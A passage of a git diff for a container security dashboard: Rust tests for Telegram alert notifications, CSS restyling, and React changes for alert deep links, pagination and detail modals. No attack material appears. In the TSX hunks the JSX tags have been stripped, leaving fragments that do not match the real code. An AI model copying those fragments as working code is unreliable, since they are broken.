Security Alert")); + assert!(parsed["text"] + .as_str() + .unwrap() + .contains("Severity: Critical")); +} + +#[test] +fn test_telegram_message_fits_the_content_limit() { + use stackdog::alerting::notifications::build_telegram_message; + + // Telegram rejects messages over 4096 characters. + let alert = Alert::new( + AlertType::AnomalyDetected, + AlertSeverity::High, + "A".repeat(10000), + ); + let config = + NotificationConfig::default().with_telegram("123:abc".to_string(), "-100123".to_string()); + let payload = build_telegram_message(&alert, &config); + let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap(); + assert!(parsed["text"].as_str().unwrap().chars().count() <= 4096); +} + +#[test] +fn test_telegram_channel_routed_only_when_configured() { + let configured = + NotificationConfig::default().with_telegram("123:abc".to_string(), "-100123".to_string()); + assert!(configured + .configured_channels_for_severity(AlertSeverity::Critical) + .iter() + .any(|channel| matches!(channel, NotificationChannel::Telegram))); + + assert!(!NotificationConfig::default() + .configured_channels_for_severity(AlertSeverity::Critical) + .iter() + .any(|channel| matches!(channel, NotificationChannel::Telegram))); +} + #[test] fn test_notification_result_display() { use stackdog::alerting::notifications::NotificationResult; - + let success = NotificationResult::Success("sent".to_string()); assert!(format!("{}", success).contains("Success") || format!("{}", success).contains("sent")); - + let failure = NotificationResult::Failure("error".to_string()); assert!(format!("{}", failure).contains("Failure") || format!("{}", failure).contains("error")); } diff --git a/tests/integration.rs b/tests/integration.rs index 2cc2b82..8097501 100644 --- a/tests/integration.rs +++ b/tests/integration.rs @@ -2,6 +2,7 @@ //! //! These tests verify that multiple components work together correctly. +mod alerting; mod api; mod collectors; mod events; diff --git a/web/package.json b/web/package.json index ff62a3b..e2d7d3e 100644 --- a/web/package.json +++ b/web/package.json @@ -1,7 +1,7 @@ { "name": "stackdog-web", "description": "Stackdog Security Web Dashboard", - "version": "0.2.1", + "version": "0.3.1", "scripts": { "start": "cross-env REACT_APP_VERSION=$npm_package_version webpack serve --mode development", "build": "cross-env REACT_APP_VERSION=$npm_package_version webpack --mode production", diff --git a/web/src/App.css b/web/src/App.css index d28a34c..0556df5 100644 --- a/web/src/App.css +++ b/web/src/App.css @@ -1,8 +1,70 @@ .app-layout { + --sd-bg: #f4f6f9; + --sd-border: #dde3eb; + --sd-text: #172b45; + --sd-muted: #526379; + --sd-blue: #2457c5; display: flex; - align-items: flex-start; + align-items: stretch; + min-height: 100vh; + background: var(--sd-bg); + color: var(--sd-text); + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; + font-size: 0.875rem; + line-height: 1.5; + -webkit-font-smoothing: antialiased; } .app-layout .dashboard { flex: 1; + min-width: 0; + width: 100%; + max-width: 1680px; + padding: 32px; +} + +.app-layout [id] { + scroll-margin-top: 24px; +} + +.app-layout :focus-visible { + outline: 3px solid #2457c5; + outline-offset: 3px; +} + +.app-layout ::selection { + background: #dbe7ff; + color: #172b45; +} + +.app-layout .form-label { + margin-bottom: 6px; + color: var(--sd-muted); + font-size: 0.75rem; + font-weight: 600; +} + +.app-layout .form-select, +.app-layout .form-control { + min-height: 40px; + border-color: #c4cedb; + border-radius: 6px; + color: var(--sd-text); + font-size: 0.875rem; +} + +@media (max-width: 991.98px) { + .app-layout { + flex-direction: column; + } + + .app-layout .dashboard { + padding: 24px; + } +} + +@media (max-width: 575.98px) { + .app-layout .dashboard { + padding: 20px 12px; + } } diff --git a/web/src/assets/logo.png b/web/src/assets/logo.png new file mode 100644 index 0000000..85bf85f Binary files /dev/null and b/web/src/assets/logo.png differ diff --git a/web/src/components/AlertPanel.css b/web/src/components/AlertPanel.css index 518cb82..563bfbf 100644 --- a/web/src/components/AlertPanel.css +++ b/web/src/components/AlertPanel.css @@ -1,103 +1,377 @@ .alert-panel { - border: none; + container: alerts / inline-size; + min-width: 0; + border: 1px solid #dde3eb; border-radius: 12px; - box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); + background: #fff; height: 100%; + color: #172b45; } .alert-panel .card-header { - background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); - color: white; - border-radius: 12px 12px 0 0 !important; - padding: 1rem 1.5rem; + background: #fff; + border-bottom: 1px solid #dde3eb; + border-radius: 12px 12px 0 0; + padding: 20px 24px; } .alert-panel .card-title { margin: 0; - font-size: 1.25rem; - font-weight: 600; + font-size: 1rem; + font-weight: 650; +} + +.alert-panel .card-body { + padding: 24px; +} + +.alert-panel .alert-toolbar { + display: flex; + flex-wrap: wrap; + align-items: end; + gap: 24px; + margin-bottom: 24px; } -.alert-stats { +.alert-panel .alert-stats { display: grid; - grid-template-columns: repeat(4, 1fr); - gap: 1rem; - padding: 1rem; - background: #f8f9fa; - border-radius: 8px; + flex: 1 1 360px; + grid-template-columns: repeat(4, minmax(0, 1fr)); + gap: 16px; } -.stat-item { +.alert-panel .stat-item { display: flex; flex-direction: column; - align-items: center; + gap: 4px; } -.stat-label { - font-size: 0.75rem; - color: #6c757d; +.alert-panel .stat-label { + font-size: 0.6875rem; + color: #526379; text-transform: uppercase; - letter-spacing: 0.5px; + letter-spacing: 0.04em; + overflow-wrap: anywhere; } -.stat-value { +.alert-panel .stat-value { font-size: 1.5rem; - font-weight: 700; - color: #2c3e50; + line-height: 1.2; + font-weight: 650; + color: #172b45; + font-variant-numeric: tabular-nums; } -.stat-value.new { - color: #007bff; +.alert-panel .stat-value.new { + color: #2457c5; } -.stat-value.acknowledged { - color: #ffc107; +.alert-panel .stat-value.acknowledged { + color: #92400e; } -.stat-value.resolved { - color: #28a745; +.alert-panel .stat-value.resolved { + color: #047857; } -.alert-filters { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); - gap: 1rem; +.alert-panel .alert-filters { + display: flex; + flex: 1 1 300px; + gap: 12px; } -.filter-group { - margin-bottom: 0 !important; +.alert-panel .filter-group { + flex: 1; + min-width: 0; } -.bulk-actions { - padding: 0.75rem; - background: #e7f3ff; - border-radius: 8px; - border-left: 4px solid #007bff; +.alert-panel .alert-selection { + margin-bottom: 12px; + color: #526379; + font-size: 0.75rem; } -.table { - margin-bottom: 0; +.alert-panel .bulk-actions { + padding: 12px; + background: #eff5ff; + border-radius: 6px; } -.table th { - font-weight: 600; - color: #495057; - border-top: none; - padding: 0.75rem; +.alert-panel .table-responsive { + overflow: visible; +} + +.alert-panel .table { + table-layout: fixed; + width: 100%; + margin: 0; + font-size: 0.8125rem; + --bs-table-color: #33465e; + --bs-table-border-color: #e5eaf0; + --bs-table-hover-bg: #f8fafc; } -.table td { +.alert-panel .select-column { + width: 32px; +} + +.alert-panel .severity-column { + width: 76px; +} + +.alert-panel .type-column { + width: 102px; +} + +.alert-panel .status-column { + width: 116px; +} + +.alert-panel .time-column { + width: 110px; +} + +.alert-panel .actions-column { + width: 280px; +} + +.alert-panel .table th { + padding: 12px 8px; + background: #f4f6f9; + color: #526379; + font-size: 0.6875rem; + font-weight: 650; vertical-align: middle; - padding: 0.75rem; } -/* Responsive adjustments */ -@media (max-width: 768px) { - .alert-stats { - grid-template-columns: repeat(2, 1fr); +.alert-panel .table td { + padding: 16px 8px; + vertical-align: middle; + overflow-wrap: anywhere; +} + +.alert-panel .alert-type { + font-size: 0.75rem; +} + +.alert-panel .alert-message { + white-space: pre-wrap; + word-break: break-word; +} + +.alert-panel .alert-hash { + padding: 1px 3px; + border-radius: 3px; + background: #edf1f6; + color: #33465e; + font-size: 0.75rem; + word-break: break-all; +} + +.alert-panel .alert-time span { + display: block; + white-space: nowrap; + font-variant-numeric: tabular-nums; + font-size: 0.75rem; +} + +.alert-panel .alert-time span + span { + color: #526379; +} + +.alert-panel .alert-actions { + display: flex; + flex-wrap: wrap; + gap: 6px; +} + +.alert-panel .alert-actions .btn { + padding: 5px 8px; + font-size: 0.75rem; + font-weight: 600; + white-space: nowrap; +} + +.alert-panel .btn-outline-warning { + --bs-btn-color: #92400e; + --bs-btn-bg: #fef3c7; + --bs-btn-border-color: #f5d97d; + --bs-btn-hover-color: #78350f; + --bs-btn-hover-bg: #fde68a; + --bs-btn-hover-border-color: #d9ad31; + --bs-btn-active-color: #78350f; + --bs-btn-active-bg: #fde68a; +} + +.alert-panel .btn-outline-success { + --bs-btn-color: #065f46; + --bs-btn-bg: #ecfdf5; + --bs-btn-border-color: #a7d8c5; + --bs-btn-hover-bg: #065f46; + --bs-btn-hover-border-color: #065f46; +} + +.alert-panel .btn-outline-primary { + --bs-btn-color: #2457c5; + --bs-btn-bg: #eff5ff; + --bs-btn-border-color: #c9d9fa; + --bs-btn-hover-bg: #2457c5; + --bs-btn-hover-border-color: #2457c5; +} + +.alert-panel .badge { + font-size: 0.6875rem; + font-weight: 600; + padding: 5px 7px; + white-space: normal; +} + +.alert-panel .badge.bg-warning, + +.alert-panel .badge.bg-info { + color: #172b45; +} + +.alert-panel .alert-footer { + display: flex; + flex-wrap: wrap; + justify-content: space-between; + align-items: center; + gap: 12px; + padding: 16px 24px; + background: #fff; + border-color: #dde3eb; + border-radius: 0 0 12px 12px; +} + +.alert-panel .alert-page-summary, +.alert-panel .alert-empty { + color: #526379; + font-size: 0.75rem; +} + +.alert-panel .alert-empty { + padding: 24px 0; + margin: 0; +} + +.alert-panel .pagination { + flex-wrap: wrap; + gap: 4px; + margin: 0; +} + +.alert-panel .page-link { + border-radius: 4px; + color: #2457c5; + min-width: 30px; + text-align: center; +} + +.alert-panel .page-item.active .page-link { + background: #2457c5; + border-color: #2457c5; + color: #fff; +} + +.alert-panel .page-item.disabled .page-link { + color: #637083; + background: #f4f6f9; +} + +@container alerts (max-width: 850px) { + + .alert-panel .card-body { + padding: 16px; + } + + .alert-panel .alert-stats { + flex-basis: 100%; + } + + .alert-panel .alert-filters { + flex-basis: 100%; + } + + .alert-panel .alert-footer { + padding: 16px; + } + + .alert-panel .alerts-table, + + .alert-panel .alerts-table tbody { + display: block; + } + + .alert-panel .alerts-table colgroup { + display: none; + } + + .alert-panel .alerts-table thead { + position: absolute; + width: 1px; + height: 1px; + overflow: hidden; + clip-path: inset(50%); + } + + .alert-panel .alerts-table tbody tr { + position: relative; + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + gap: 12px; + padding: 16px; + border: 1px solid #dde3eb; + border-radius: 8px; + margin-bottom: 12px; + } + + .alert-panel .alerts-table td { + display: block; + padding: 0; + border: 0; + box-shadow: none; + background: transparent; + } + + .alert-panel .alerts-table td::before { + content: attr(data-label); + display: block; + margin-bottom: 4px; + color: #526379; + font-size: 0.6875rem; + } + + .alert-panel .alerts-table td:first-child { + position: absolute; + top: 16px; + right: 16px; + } + + .alert-panel .alerts-table .alert-type { + padding-right: 24px; + } + + .alert-panel .alerts-table .alert-message, + + .alert-panel .alerts-table .alert-action-cell { + grid-column: 1 / -1; + } + + .alert-panel .alert-actions .btn { + min-height: 36px; + padding: 6px 10px; + font-size: 0.75rem; + } +} + +@container alerts (max-width: 400px) { + + .alert-panel .alert-stats { + grid-template-columns: repeat(2, minmax(0, 1fr)); } - .alert-filters { - grid-template-columns: 1fr; + .alert-panel .alert-filters { + flex-direction: column; } } diff --git a/web/src/components/AlertPanel.tsx b/web/src/components/AlertPanel.tsx index a17e2d7..0df52eb 100644 --- a/web/src/components/AlertPanel.tsx +++ b/web/src/components/AlertPanel.tsx @@ -4,9 +4,44 @@ import apiService from '../services/api'; import webSocketService from '../services/websocket'; import { Alert, AlertSeverity, AlertStatus, AlertFilter, AlertStats } from '../types/alerts'; import './AlertPanel.css'; +import './DetailsModal.css'; const ITEMS_PER_PAGE = 10; +/** Read an alert id out of a "#alerts/{id}" location hash. */ +export const alertIdFromHash = (hash: string): string | null => { + const match = /^#?alerts\/(.+)$/.exec(hash); + return match ? decodeURIComponent(match[1]) : null; +}; + +/** Page numbers around `current`, plus first, last and ellipses. Rendering + * every page button overflowed the card once alert counts reached five + * digits; this keeps the row short whatever the total. */ +export const pageItems = (current: number, total: number): (number | 'ellipsis')[] => { + if (total <= 9) { + return Array.from({ length: total }, (_, index) => index + 1); + } + const wanted = new Set([1, total, current - 1, current, current + 1]); + if (current <= 4) { + [2, 3, 4, 5].forEach((page) => wanted.add(page)); + } + if (current >= total - 3) { + [total - 1, total - 2, total - 3, total - 4].forEach((page) => wanted.add(page)); + } + const items: (number | 'ellipsis')[] = []; + let previous = 0; + for (const page of [...wanted] + .filter((page) => page >= 1 && page <= total) + .sort((a, b) => a - b)) { + if (previous && page - previous > 1) { + items.push('ellipsis'); + } + items.push(page); + previous = page; + } + return items; +}; + const AlertPanel: React.FC = () => { const [alerts, setAlerts] = useState([]); const [stats, setStats] = useState(null); @@ -19,6 +54,10 @@ const AlertPanel: React.FC = () => { const [error, setError] = useState(null); useEffect(() => { + // A new filter shrinks the list; staying on page 500 of what used to be + // 2700 pages shows an empty table behind a pagination row that no longer + // matches. Start over. + setCurrentPage(1); loadAlerts(); loadStats(); setupWebSocket(); @@ -28,6 +67,40 @@ const AlertPanel: React.FC = () => { }; }, [filter]); + // Deep link: notifications carry #alerts/{id}, which opens that alert's + // details directly instead of leaving the operator to hunt through the list. + useEffect(() => { + const openFromHash = () => { + const id = alertIdFromHash(window.location.hash); + if (!id) { + setShowModal(false); + return; + } + const alert = alerts.find(a => a.id === id); + if (alert) { + setSelectedAlert(alert); + setShowModal(true); + } + }; + + openFromHash(); + window.addEventListener('hashchange', openFromHash); + return () => window.removeEventListener('hashchange', openFromHash); + }, [alerts]); + + const openDetails = (alert: Alert) => { + setSelectedAlert(alert); + setShowModal(true); + window.location.hash = `alerts/${alert.id}`; + }; + + const closeDetails = () => { + setShowModal(false); + if (alertIdFromHash(window.location.hash)) { + window.location.hash = 'alerts'; + } + }; + const loadAlerts = async () => { try { setLoading(true); @@ -160,59 +233,72 @@ const AlertPanel: React.FC = () => { )} - {/* Statistics */} - {stats && ( -
-
- Total - {stats.totalCount} -
-
- New - {stats.newCount} -
-
- Acknowledged - {stats.acknowledgedCount} -
-
- Resolved - {stats.resolvedCount} +
+ {/* Statistics */} + {stats && ( +
+
+ Total + {stats.totalCount.toLocaleString()} +
+
+ New + {stats.newCount.toLocaleString()} +
+
+ Acknowledged + {stats.acknowledgedCount.toLocaleString()} +
+
+ Resolved + {stats.resolvedCount.toLocaleString()} +
+ )} + + {/* Filters */} +
+ + Filter by severity + setFilter({ ...filter, severity: e.target.value ? [e.target.value as AlertSeverity] : undefined })} + > + + + + + + + + + + + Filter by status + setFilter({ ...filter, status: e.target.value ? [e.target.value as AlertStatus] : undefined })} + > + + + + + +
- )} - {/* Filters */} -
- - Filter by severity - setFilter({ ...filter, severity: e.target.value ? [e.target.value as AlertSeverity] : undefined })} - > - - - - - - - - - - - Filter by status - setFilter({ ...filter, status: e.target.value ? [e.target.value as AlertStatus] : undefined })} - > - - - - - -
+ {!loading && alerts.length > 0 && ( + + )} + {/* Bulk Actions */} {selectedAlerts.size > 0 && (
@@ -225,18 +311,25 @@ const AlertPanel: React.FC = () => { {/* Alerts Table */} {loading ? (
- + Loading alerts...
) : ( <> - +
+ + + + + + + + + + @@ -251,106 +344,132 @@ const AlertPanel: React.FC = () => { - - - - + + - - + ))}
Recent security alerts
- + Select Severity Type
handleSelectAlert(alert.id)} /> + {alert.severity} {alert.alertType}{alert.message} + {alert.alertType.replace(/([a-z])([A-Z])/g, '$1 $2')} + {alert.message.split(/((?:sha256:)?[a-f0-9]{64})/gi).map((part, index) => + /^(?:sha256:)?[a-f0-9]{64}$/i.test(part) + ? {part} + : part + )} + {alert.status} {new Date(alert.timestamp).toLocaleString()} - {alert.status === 'New' && ( - - )} - {alert.status !== 'Resolved' && ( + + + +
+ {alert.status === 'New' && ( + + )} + {alert.status !== 'Resolved' && ( + + )} - )} - +
- {/* Pagination */} - {totalPages > 1 && ( - + {!error && alerts.length === 0 &&

No alerts match the selected filters.

} + + )} + + {!loading && alerts.length > 0 && ( + + + {(currentPage - 1) * ITEMS_PER_PAGE + 1}–{Math.min(currentPage * ITEMS_PER_PAGE, alerts.length)} of {alerts.length.toLocaleString()} alerts + + + {totalPages > 1 && ( + + )} + + )} {/* Alert Detail Modal */} - setShowModal(false)}> + - Alert Details + Alert Details {selectedAlert && ( -
-

Type: {selectedAlert.alertType}

-

Severity: {selectedAlert.severity}

-

Status: {selectedAlert.status}

-

Message: {selectedAlert.message}

-

Time: {new Date(selectedAlert.timestamp).toLocaleString()}

+ <> +
+
ID
{selectedAlert.id}
+
Type
{selectedAlert.alertType}
+
Severity
{selectedAlert.severity}
+
Status
{selectedAlert.status}
+
Time
+
Message
{selectedAlert.message}
+
{selectedAlert.metadata && ( -
- Metadata: +
+

Metadata

{JSON.stringify(selectedAlert.metadata, null, 2)}
-
+ )} -
+ )}
- diff --git a/web/src/components/ContainerList.css b/web/src/components/ContainerList.css index 1439178..c91951c 100644 --- a/web/src/components/ContainerList.css +++ b/web/src/components/ContainerList.css @@ -1,94 +1,196 @@ .container-list { - border: none; + min-width: 0; + border: 1px solid #dde3eb; border-radius: 12px; - box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); - height: 100%; + background: #fff; + color: #172b45; } .container-list .card-header { - background: linear-gradient(135deg, #11998e 0%, #38ef7d 100%); - color: white; - border-radius: 12px 12px 0 0 !important; - padding: 1rem 1.5rem; + background: #fff; + border-bottom: 1px solid #dde3eb; + border-radius: 12px 12px 0 0; + padding: 20px 24px; } .container-list .card-title { margin: 0; - font-size: 1.25rem; - font-weight: 600; + font-size: 1rem; + font-weight: 650; } -.container-items { - display: flex; - flex-direction: column; - gap: 1rem; - max-height: 600px; - overflow-y: auto; +.container-list .card-body { + padding: 24px; } -.container-item { - border: 1px solid #e9ecef; - border-radius: 8px; - padding: 1rem; - transition: transform 0.2s, box-shadow 0.2s; +.container-list .container-filter { + max-width: 240px; +} + +.container-list .container-items { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(min(100%, 280px), 1fr)); + gap: 20px; } -.container-item:hover { - transform: translateY(-2px); - box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); +.container-list .container-item { + display: flex; + flex-direction: column; + min-width: 0; + border: 1px solid #dde3eb; + border-radius: 8px; + padding: 20px; } -.container-header { +.container-list .container-header { display: flex; justify-content: space-between; - align-items: center; - margin-bottom: 0.75rem; + align-items: start; + gap: 12px; + margin-bottom: 16px; } -.container-header h5 { +.container-list .container-header h5 { margin: 0; - font-size: 1.1rem; - font-weight: 600; - color: #2c3e50; + font-size: 0.9375rem; + font-weight: 650; + overflow-wrap: anywhere; +} + +.container-list .container-details { + margin-bottom: 20px; +} + +.container-list .container-image { + display: flex; + flex-direction: column; + gap: 4px; + margin-bottom: 16px; +} + +.container-list .container-image span, + +.container-list .container-security > div > span:first-child { + display: block; + color: #526379; + font-size: 0.6875rem; + margin-bottom: 4px; +} + +.container-list .container-image code { + color: #33465e; + font-size: 0.75rem; + overflow-wrap: anywhere; } -.container-details { - margin-bottom: 1rem; +.container-list .container-security { + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + gap: 16px; + margin-bottom: 16px; } -.container-details p { - margin: 0.25rem 0; - font-size: 0.9rem; - color: #495057; +.container-list .container-security strong { + font-variant-numeric: tabular-nums; + font-size: 1rem; } -.network-activity { +.container-list .container-security-badges { display: flex; + flex-wrap: wrap; align-items: center; - gap: 0.5rem; - padding: 0.5rem; - background: #f8f9fa; - border-radius: 4px; - font-size: 0.85rem; + gap: 6px; } -.container-actions { +.container-list .network-activity { + display: grid; + grid-template-columns: repeat(3, minmax(0, 1fr)); + gap: 8px; + margin: 0 0 12px; + padding: 12px 0; + border-top: 1px solid #e5eaf0; + border-bottom: 1px solid #e5eaf0; +} + +.container-list .network-activity dt { + color: #526379; + font-size: 0.6875rem; + font-weight: 500; +} + +.container-list .network-activity dd { + margin: 4px 0 0; + color: #33465e; + font-size: 0.75rem; + font-variant-numeric: tabular-nums; + overflow-wrap: anywhere; +} + +.container-list .container-actions { display: flex; - gap: 0.5rem; flex-wrap: wrap; + gap: 8px; + margin-top: auto; +} + +.container-list .container-actions .btn { + min-height: 36px; + font-size: 0.75rem; + font-weight: 600; + padding: 6px 12px; +} + +.container-list .badge { + font-size: 0.6875rem; + font-weight: 600; + padding: 5px 8px; + white-space: normal; } -/* Responsive adjustments */ -@media (max-width: 768px) { - .container-items { - max-height: none; +.container-list .badge.bg-warning { + color: #172b45; +} + +.container-list .container-empty { + margin: 0; + color: #526379; +} + +.container-list .btn-outline-primary { + --bs-btn-color: #2457c5; + --bs-btn-bg: #eff5ff; + --bs-btn-border-color: #c9d9fa; + --bs-btn-hover-bg: #2457c5; + --bs-btn-hover-border-color: #2457c5; +} + +.container-list .btn-outline-danger { + --bs-btn-color: #b42318; + --bs-btn-bg: #fff1f2; + --bs-btn-border-color: #f5c1c6; + --bs-btn-hover-bg: #b42318; + --bs-btn-hover-border-color: #b42318; +} + +.container-list .btn-outline-success { + --bs-btn-color: #065f46; + --bs-btn-bg: #ecfdf5; + --bs-btn-border-color: #a7d8c5; + --bs-btn-hover-bg: #065f46; + --bs-btn-hover-border-color: #065f46; +} + +@media (max-width: 575.98px) { + + .container-list .card-body { + padding: 16px; } - .container-actions { - flex-direction: column; + .container-list .container-filter { + max-width: none; } - .container-actions button { - width: 100%; + .container-list .container-item { + padding: 16px; } } diff --git a/web/src/components/ContainerList.tsx b/web/src/components/ContainerList.tsx index 42ff229..60f4d20 100644 --- a/web/src/components/ContainerList.tsx +++ b/web/src/components/ContainerList.tsx @@ -1,8 +1,9 @@ import React, { useEffect, useState } from 'react'; -import { Card, Button, Form, Badge, Modal, Spinner, Alert as BootstrapAlert } from 'react-bootstrap'; +import { Card, Button, Form, Badge, Modal, Spinner } from 'react-bootstrap'; import apiService from '../services/api'; import { Container, ContainerStatus } from '../types/containers'; import './ContainerList.css'; +import './DetailsModal.css'; const ContainerList: React.FC = () => { const [containers, setContainers] = useState([]); @@ -21,7 +22,7 @@ const ContainerList: React.FC = () => { try { setLoading(true); const data = await apiService.getContainers(); - setContainers(filterStatus ? data.filter((c: Container) => c.status === filterStatus) : data); + setContainers(filterStatus ? data.filter((c: Container) => (c.securityStatus.state === 'Quarantined' ? 'Quarantined' : c.status) === filterStatus) : data); } catch (err) { console.error('Error loading containers:', err); } finally { @@ -73,9 +74,9 @@ const ContainerList: React.FC = () => { }; const getRiskColor = (score: number) => { - if (score < 30) return '#27ae60'; - if (score < 60) return '#f39c12'; - return '#e74c3c'; + if (score < 30) return '#047857'; + if (score < 60) return '#92400e'; + return '#b42318'; }; const formatCount = (value: number | null) => (value === null ? 'n/a' : value.toLocaleString()); @@ -96,7 +97,7 @@ const ContainerList: React.FC = () => { Containers - + Filter by status { {loading ? (
- + Loading containers...
) : (
- {containers.map((container) => ( -
- {(() => { - const isQuarantined = - container.status === 'Quarantined' || container.securityStatus.state === 'Quarantined'; - - return ( - <> -
-
{container.name}
- - {isQuarantined ? 'Quarantined' : container.status} - -
-
-

Image: {container.image}

-

- Security:{' '} - - {container.securityStatus.state} + {containers.length === 0 &&

No containers match the selected status.

} + {containers.map((container) => { + const isQuarantined = container.status === 'Quarantined' || container.securityStatus.state === 'Quarantined'; + + return ( +
+
+
{container.name}
+ + {isQuarantined ? 'Quarantined' : container.status} -

-

- Risk Score:{' '} - - {container.riskScore} - -

-
- - ⬇ {formatCount(container.networkActivity.receivedPackets)} pkts | - ⬆ {formatCount(container.networkActivity.transmittedPackets)} pkts | - 🚫 {formatCount(container.networkActivity.blockedConnections)} - - {container.networkActivity.suspiciousActivity && ( - Suspicious - )}
-
-
- - {!isQuarantined && container.status === 'Running' && ( - + {!isQuarantined && container.status === 'Running' && ( + - )} - {isQuarantined && ( - - )} -
- - ); - })()} -
- ))} + }}>Quarantine + )} + {isQuarantined && ( + + )} +
+ + ); + })}
)}
{/* Detail Modal */} - setShowModal(false)}> + setShowModal(false)}> - Container Details + Container Details {selectedContainer && ( -
-

Name: {selectedContainer.name}

-

ID: {selectedContainer.id}

-

Image: {selectedContainer.image}

-

Status: {selectedContainer.status}

-

Security: {selectedContainer.securityStatus.state}

-

Risk Score: {selectedContainer.riskScore}

-

Threats: {selectedContainer.securityStatus.threats}

-

Vulnerabilities: {selectedContainer.securityStatus.vulnerabilities ?? 'Unavailable'}

-

Last Scan: {formatDateTime(selectedContainer.securityStatus.lastScan)}

-

RX Traffic: {formatBytes(selectedContainer.networkActivity.receivedBytes)}

-

TX Traffic: {formatBytes(selectedContainer.networkActivity.transmittedBytes)}

-

RX Packets: {formatCount(selectedContainer.networkActivity.receivedPackets)}

-

TX Packets: {formatCount(selectedContainer.networkActivity.transmittedPackets)}

-

Blocked Connections: {formatCount(selectedContainer.networkActivity.blockedConnections)}

-
+
+
Name
{selectedContainer.name}
+
ID
{selectedContainer.id}
+
Image
{selectedContainer.image}
+
Status
{selectedContainer.securityStatus.state === 'Quarantined' ? 'Quarantined' : selectedContainer.status}
+
Security
{selectedContainer.securityStatus.state}
+
Risk Score
{selectedContainer.riskScore}
+
Threats
{selectedContainer.securityStatus.threats}
+
Vulnerabilities
{selectedContainer.securityStatus.vulnerabilities ?? 'Unavailable'}
+
Created
+
Last Scan
{formatDateTime(selectedContainer.securityStatus.lastScan)}
+
RX Traffic
{formatBytes(selectedContainer.networkActivity.receivedBytes)}
+
TX Traffic
{formatBytes(selectedContainer.networkActivity.transmittedBytes)}
+
RX Packets
{formatCount(selectedContainer.networkActivity.receivedPackets)}
+
TX Packets
{formatCount(selectedContainer.networkActivity.transmittedPackets)}
+
Blocked Connections
{formatCount(selectedContainer.networkActivity.blockedConnections)}
+
)}
@@ -229,13 +202,13 @@ const ContainerList: React.FC = () => {
{/* Quarantine Modal */} - setShowQuarantineModal(false)}> + setShowQuarantineModal(false)}> - Confirm Quarantine + Confirm Quarantine

Are you sure you want to quarantine this container?

- + Reason { } return ( - - + +
-
- +

Overview

Real-time security monitoring for containers and Linux servers @@ -90,7 +89,7 @@ const Dashboard: React.FC = () => { {/* Security Score Card */} - + @@ -99,7 +98,7 @@ const Dashboard: React.FC = () => { Active Threats - {securityStatus?.activeThreats || 0} + {(securityStatus?.activeThreats || 0).toLocaleString()} @@ -109,7 +108,7 @@ const Dashboard: React.FC = () => { Quarantined - {securityStatus?.quarantinedContainers || 0} + {(securityStatus?.quarantinedContainers || 0).toLocaleString()} @@ -119,7 +118,7 @@ const Dashboard: React.FC = () => { New Alerts - {securityStatus?.alertsNew || 0} + {(securityStatus?.alertsNew || 0).toLocaleString()} @@ -127,18 +126,18 @@ const Dashboard: React.FC = () => { {/* Threat Map */} - - + + {/* Alerts and Containers */} - - + + - + diff --git a/web/src/components/DetailsModal.css b/web/src/components/DetailsModal.css new file mode 100644 index 0000000..dd538bc --- /dev/null +++ b/web/src/components/DetailsModal.css @@ -0,0 +1,122 @@ +.security-details-modal { + color: #172b45; + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; + font-size: 0.875rem; +} + +.security-details-modal .modal-content { + border: 1px solid #dde3eb; + border-radius: 12px; +} + +.security-details-modal .modal-header, + +.security-details-modal .modal-footer { + padding: 20px 24px; + border-color: #e5eaf0; +} + +.security-details-modal .modal-title { + font-size: 1.125rem; + font-weight: 650; +} + +.security-details-modal .modal-body { + padding: 24px; +} + +.security-details-modal .detail-grid { + display: grid; + grid-template-columns: 160px minmax(0, 1fr); + gap: 16px 24px; + margin: 0; +} + +.security-details-modal .detail-grid dt { + color: #526379; + font-size: 0.75rem; + font-weight: 500; +} + +.security-details-modal .detail-grid dd { + min-width: 0; + margin: 0; + overflow-wrap: anywhere; + font-variant-numeric: tabular-nums; +} + +.security-details-modal .detail-grid code { + color: #33465e; + font-size: 0.8125rem; + word-break: break-all; +} + +.security-details-modal .detail-message { + white-space: pre-wrap; +} + +.security-details-modal .detail-metadata { + margin-top: 24px; +} + +.security-details-modal .detail-metadata h3 { + color: #526379; + font-size: 0.75rem; + margin-bottom: 12px; +} + +.security-details-modal .detail-metadata pre { + padding: 16px; + margin: 0; + border-radius: 6px; + background: #f4f6f9; + color: #33465e; + font-size: 0.75rem; + white-space: pre-wrap; + overflow-wrap: anywhere; +} + +.security-details-modal .badge.bg-warning, + +.security-details-modal .badge.bg-info { + color: #172b45; +} + +.security-details-modal .btn { + min-height: 40px; + font-size: 0.8125rem; +} + +.security-details-modal .form-label { + color: #526379; + font-size: 0.75rem; + font-weight: 600; +} + +.security-details-modal .form-control { + border-color: #c4cedb; + font-size: 0.875rem; +} + +.security-details-modal :focus-visible { + outline: 3px solid #2457c5; + outline-offset: 3px; +} + +@media (max-width: 575.98px) { + .security-details-modal .modal-body, + .security-details-modal .modal-header, + + .security-details-modal .modal-footer { + padding: 16px; + } + + .security-details-modal .detail-grid { + grid-template-columns: minmax(0, 1fr); + gap: 4px; + } + + .security-details-modal .detail-grid dd { + margin-bottom: 16px; + } +} diff --git a/web/src/components/SecurityScore.css b/web/src/components/SecurityScore.css index 1dcc1b8..c28c96c 100644 --- a/web/src/components/SecurityScore.css +++ b/web/src/components/SecurityScore.css @@ -1,85 +1,77 @@ .security-score-card { - border: none; + border: 1px solid #dde3eb; border-radius: 12px; - box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); + background: #fff; height: 100%; + color: #172b45; +} + +.security-score-card .card-body { + padding: 24px; } .security-score-card .card-title { - font-size: 0.875rem; - color: #7f8c8d; - margin-bottom: 1rem; + font-size: 0.8125rem; + font-weight: 500; + color: #526379; + margin-bottom: 16px; } -.gauge-container { +.security-score-card .gauge-container { display: flex; justify-content: center; - align-items: center; - padding: 1rem 0; + padding: 4px 0; } -.gauge { +.security-score-card .gauge { position: relative; width: 150px; height: 75px; overflow: hidden; } -.gauge-background { +.security-score-card .gauge-background { position: absolute; width: 150px; height: 150px; border-radius: 50%; - background: conic-gradient( - from -90deg, - #e74c3c 0deg, - #e67e22 